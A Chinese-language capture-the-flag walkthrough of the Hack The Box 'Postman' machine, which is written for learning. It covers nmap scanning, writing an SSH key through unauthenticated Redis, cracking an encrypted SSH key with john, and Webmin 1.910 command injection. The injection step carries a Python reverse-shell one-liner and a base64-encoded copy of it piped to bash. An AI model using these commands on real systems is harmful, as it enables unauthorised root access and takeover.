Hack The Box - Postman：
在获取目标IP之后，我通过Nmap对其进行了端口服务版本探测：
nmap -sV -sC -T4 -Pn -p- 10.10.10.160
由于网络环境不是很理想，它探测了很长时间，这是Nmap为我枚举出的信息：
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-03 16:26 CST
Stats: 0:00:53 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 4.78% done; ETC: 16:45 (0:17:36 remaining)
Stats: 0:03:34 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 23.50% done; ETC: 16:42 (0:11:37 remaining)
Stats: 0:05:26 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 37.08% done; ETC: 16:41 (0:09:12 remaining)
Stats: 0:06:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.78% done; ETC: 16:41 (0:08:23 remaining)
Stats: 0:09:30 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.55% done; ETC: 16:41 (0:04:46 remaining)
Stats: 0:09:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.80% done; ETC: 16:41 (0:04:44 remaining)
Stats: 0:11:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 77.94% done; ETC: 16:41 (0:03:07 remaining)
Nmap scan report for 10.10.10.160
Host is up (0.47s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-server-header: MiniServ/1.910
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 886.63 seconds
Redis我知道它某个版本存在未授权访问漏洞，可以被攻击者利用对root用户的登录密钥进行覆盖重写，从而以root身份进行登录拿下root级别的shell，但我不想让它打乱了我的节奏，我决定还是从22SSH服务端口逐一进行枚举，先对22 SSH服务版本 搜寻披露漏洞：
searchsploit OpenSSH
可以看到OpenSSH7.7版本前都可能存在有Username Enumeration用户名枚举漏洞，它的漏洞利用脚本也很简单，介于篇幅太长我就不放图了。用户名枚举漏洞皆来自于认证系统本身的逻辑特性，它们在接收到用户提交的账户名与口令后，都会优先的对用户名进行校验，如果用户名认证成功，才会对口令进行下一步的校验，从而导致用户名认证失败与密码认证失败返回的错误信息并不相同，攻击者便可利用该漏洞机制进行枚举从而收集目标机器内部的用户名信息。当然，防御方可以更改代码中的错误信息回显去阻挠攻击者利用该漏洞，而在当前靶场环境中，我是侵略者。
值得高兴的是，Metasploit内置了ssh用户名枚举的模块，我用它会更加方便：
但遗憾的是它需要我提供字典，我当然可以把常见的用户名集成到一本字典供其调用，但我觉得那样很无脑，而且拼运气收益低。于是我决定继续收集目标信息，进而筛选出可能性较高的用户名再供其进行枚举。紧接着我把目光转向了80HTTP端口，它正运行着Apache httpd 2.4.29，我尝试收集它的漏洞信息：
searchsploit Apache httpd
可惜，它并没有为我枚举出更多的漏洞信息，我按照HTB官方惯例，将postman.htb加入到了/etc/hosts文件中，并尝试访问：
整个页面便是如上图所示，它只为我提供了一个可能存在的用户名：Postman
唯一能供我点击的只有页面左上角的LOG与页脚的版权归属，它们都只是将滚动条跳转到页面顶部，我尝试点击页面中间的鼠标图标按钮，它并无发起任何请求：
我检查了页面属性，并尝试发现该按钮不能点的原因，我发现了它并不是不能点，只是点击跳转的事件是当前页面的某个锚点，而且就在我目前的页面位置：
我尝试对其要跳转的文件更改编辑，把文件名前的#去掉：
它生效的，但是并没有返回给我一些有用的信息：
我可以尝试通过更改此按钮点击跳转到我想读取的目录，但是如果仅仅读取目录的话，我觉得对目标进行路径爆破要比更改按钮源代码方便的多。当然我也可以试着去指定某个特定的文件，例如/etc/passwd,但是我不知道当前目录所在位置，我尝试在路径中输入了 /../甚至/../../../,页面都无任何反应，我怀疑是有防护机制在对我提交的参数进行拦截检测。我抱着侥幸的心理尝试对鼠标点击按钮进行更改跳转路径设置，linux服务器站点目录通常情况下都位于/www/wwwroot/web站点目录，那么我姑且认为该站点的路径配置也是这样，于是我试着去构造了如下参数：
/../../../etc/passwd
不幸的是，很明显，它一样会把我提交的/../../../给去空：
于是我尝试对它的路径进行爆破：
dirsearch -u http://postman.htb/
因为我无法获取目标服务器脚本语言环境信息，我对它进行了全类型的目录爆破：
令人惊喜的是dirsearch帮我枚举到了一个看起来像是文件上传的路径，我打开并访问了它，并且我试着去打开其他路径信息的页面，惊讶的发现我可以通过web页面查看它当前目录下的文件内容：
但我还是无法通过/../跳出Web根目录，于是便开始在我所能遍历的文件中，查看能否为我提供一些信息，但是我空手而归了。
好吧，我将目光转向了6379 Redis服务。
searchsploit redis
Searchsploit帮我列出了该服务披露的漏洞以及对应的版本信息。
而我当下的Redis环境存在有两个漏洞，它们分别是Redis - Replication Code Execution (Metasploit) 与 Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)，而searchsploit也帮我指明了Metasploit中有该模块。这是它们的漏洞利用脚本。
https://www.exploit-db.com/exploits/48272
https://www.exploit-db.com/exploits/47195
这些漏洞是由于配置不当造成的，所以在Exploit-DB并未有特定的CVE编号。Redis是一款运行在内存中的数据库，默认配置中，会绑定在服务器本地6379端口并暴漏于公网中，并且认证也是默认关闭的，这便会导致用户在未经过认证的情况下意外的访问了redis数据库，并可利用redis数据库的相关语法命令，对服务器上的文件进行读写。如果该服务是以root权限运行的，便可被用户通过写入替换掉root用户的密钥，并导致用户通过配对的密钥文件进行远程登录服务器。
因为Meatsploit利用比较简单自动化，而且我用Meatsploit，也不见得文章会更有可读性，我尝试手工的一步步对其进行漏洞利用演示，Kalinux平台有款工具为 redis-cli ，我可以尝试用它去进行未授权访问：
redis-cli -h 10.10.10.160
因为它是默认端口，所以我并不需要指定到具体某个端口号的参数，连接目标redis数据库后我可以尝试输入keys参数表明我想查询的某些数据，例如运用通配符查询所有数据：
keys *
很抱歉，该列表是空的什么都没查到：
我可以在本地生成rsa算法用以ssh链接的密钥对：
ssh-keygen –t rsa
按照提示填写信息，当然也可以不填。它会在当前用户根目录的.ssh目录中生成密钥对id_rsa(私钥)和id_rsa.pub(公钥)，当我把id_rsa.pub(公钥)放入Redis数据库中，并要求它写入authorized_keys，而目标机器的sshd服务会将该文件作为 ASCII 文本文件打开并逐行读取，因为在读取的过程中，可能会受到某些信息的干扰导致读取了与我私钥不配对的错误公钥，为了确保目标sshd服务读取到我正确的公钥，我使用了换行符对我的公钥进行隔离，确保我的公钥都位于单独的某一行，从而不被其他意料之外的数据进行干扰，我使用以下命令将公钥写入到txt文本文件中：
(echo -e "\n\n"; cat ./id_rsa.pub; echo -e "\n\n") > spaced_key.txt
我用如下命令将我的公钥送入了目标redis服务中：
cat spaced_key.txt | redis-cli -h 10.10.10.160 -x set id_rsa.pub
不幸的是，我尝试设置redis的目录为/root/.ssh目录，它因为权限问题拒绝了我：
然而我可以通过以下命令来查看当前目录信息：
config get dir
我猜测该目录为redis服务的根目录，就像/home/目录下的各用户根目录一样，我试想该服务用户是否能允许我远程登录，随即我便尝试将公钥写入到该目录中，首先我要通过命令告诉redis要写入到哪个目录，它并未报告任何权限不足而拒绝的错误信息：
config set dir ./.ssh
当然，我还可以通过ssh用户名枚举去尝试切换到/home/指定用户的目录，但是我不喜欢大规模的盲猜解，于是我决定先试一试能否远程登录redis服务组件级别的用户：
我通过如下命令告知redis服务它应该把我的公钥文件命名为authorized_keys，用以替换该用户的ssh公钥：
config set dbfilename "authorized_keys"
它看起来成功了，我将其进行保存：
紧接着我用生成ssh密钥对中的id_rsa私钥对服务器ssh发起连接：
ssh -i id_rsa redis@10.10.10.160
它返回给我了一个当前服务组件用户的shell：
我尝试到/home目录查看目标机器上的用户名，它只有一个：
我发现了用户flag，但是我被拒绝了访问不了它：
然后我开始查看遍历SUID，计划任务等等能为我提权帮助的信息，一无所获，但是我在/opt中找到了一个有意思的文件，它是被加密的：
我将其复制到我本地，并尝试用john进行破解，我先用ssh2john.py将其转换为john可以破解的格式：
/usr/share/john/ssh2john.py ./id_rsa.bak > 1.txt
然后用john对其进行猜解：
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
john为我猜解出了一个看起来像是口令的字符串：
我尝试使用该密钥或口令密码进行ssh登录Matt用户，但是我失败了，我反复确认了密码我应该没有输入错误，但它拒绝了我：
我通过redis用户的shell去试着查看/etc/ssh/sshd_config配置文件，我发现了原因，是因为服务器拒绝了Matt用户登录：
它可能表示着，我获取到的口令并没有什么错误，我尝试用该口令去本地切换至Matt用户，我成功了：
现在我可以读取用户flag：
但是我无法通过sudo短暂的获取root权限;
当然我可以尝试内核溢出漏洞进行提权，或是上传Linpeas枚举提权信息，但是我觉得作者并不会希望我这么做，因为还有一个10000端口开放着http服务我从始至终都未对其进行访问探测，我决定去访问探测一下，挖掘一个目标的信息，确实很容易让人上瘾。
我访问了10000端口，它是一个登录认证框，我尝试了Matt的口令，它成功登录进去了，整个页面我浏览一下，它只有一个控制更新组件的按钮可能会让我与目标机器系统进行交互：
我尝试去搜寻披露的漏洞：
searchsploit MiniServ
很抱歉我并没有搜索到什么，不如换个名字：
searchsploit webmin
我发现了一个服务名称与版本号以及我刚通过浏览页面收集的信息相符的漏洞：Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)，它看起来就像是通过更新包导致的RCE漏洞，我尝试去读取漏洞利用脚本：
searchsploit -x linux/remote/46984.rb
在漏洞利用脚本中，它看起来像是构造了一个POST请求包并发送了一些参数 U 和 ok_top，我暂时还不知道这些参数作何用途：
它的有效载荷是这样的：
"u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
对它进行URL解码后为：
u=acl/apt&u= | #{payload}&ok_top=Update Selected Packages
于是我回到了web更新包的页面识图理解漏洞利用脚本透露给我的信息，该页面显示的更新包看起来都像是操作系统中apt update获取的更新包，然而在linux系统中使用apt update ，apt upgrade 等命令是需要root权限或是sudo短暂的借用root权限，那么理论上它确实有某处可能会存在命令注入漏洞，于是我决定用burpsuite进行数据包拦截查看能否为我提供反馈回些许信息，它默认去全选的，但是抓包看到的数据参数密密麻麻多到把我人看花了，所以我只选定了一个升级包：
我尝试按照漏洞利用脚本透露于我的信息构造的payload为这样：
mode=updates&search=&u=acl/apt&u=|"id"&ok_top=Update Selected Packages
看起来我利用成功了，我确实返回了root的id信息：
介于我只需要读取root.txt，我想省些功夫去尝试读取/root/root.txt，可看来作者早已料到，而且它并不希望我这样做：
那么我不得不尝试用python做一个反向连接的shell用以操控目标机器的终端：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.9",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
为了确保在数据传输的过程中某些字符不被中间件解析服务错误的识别，我对其进行了base64编码：
cat payload | base64 | tr -d '\r\n' && echo ''
但是传送到目标还需要对其进行对应的base64解码，我不得不再附加一段base64解码命令，所以我的payload真实情况下是这样的：
mode=updates&search=&u=acl/apt&u=| echo -n "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTYuOSIsOTAwMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jwo="|base64 -d|bash;&ok=Update+Selected+Packages
我本地nc监听对应端口，Burpsuite发送包含payload的数据包，成功的获取到了目标的反向shell，并且它是root级的：
我可以尝试去获取root flag：